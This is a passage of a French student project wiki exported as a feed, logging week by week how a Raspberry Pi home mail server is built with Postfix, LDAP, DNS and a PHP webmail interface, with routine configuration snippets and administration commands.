Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Intimail.zip&amp;diff=27602</id>
		<title>Fichier:Intimail.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Intimail.zip&amp;diff=27602"/>
				<updated>2016-02-23T10:22:49Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : Archive contenant les sources de l'interface web et tout le code PHP et styles. Inclut un README expliquant globalement quoi est quoi dans quel dossier.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Archive contenant les sources de l'interface web et tout le code PHP et styles. Inclut un README expliquant globalement quoi est quoi dans quel dossier.&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27601</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27601"/>
				<updated>2016-02-23T10:21:05Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
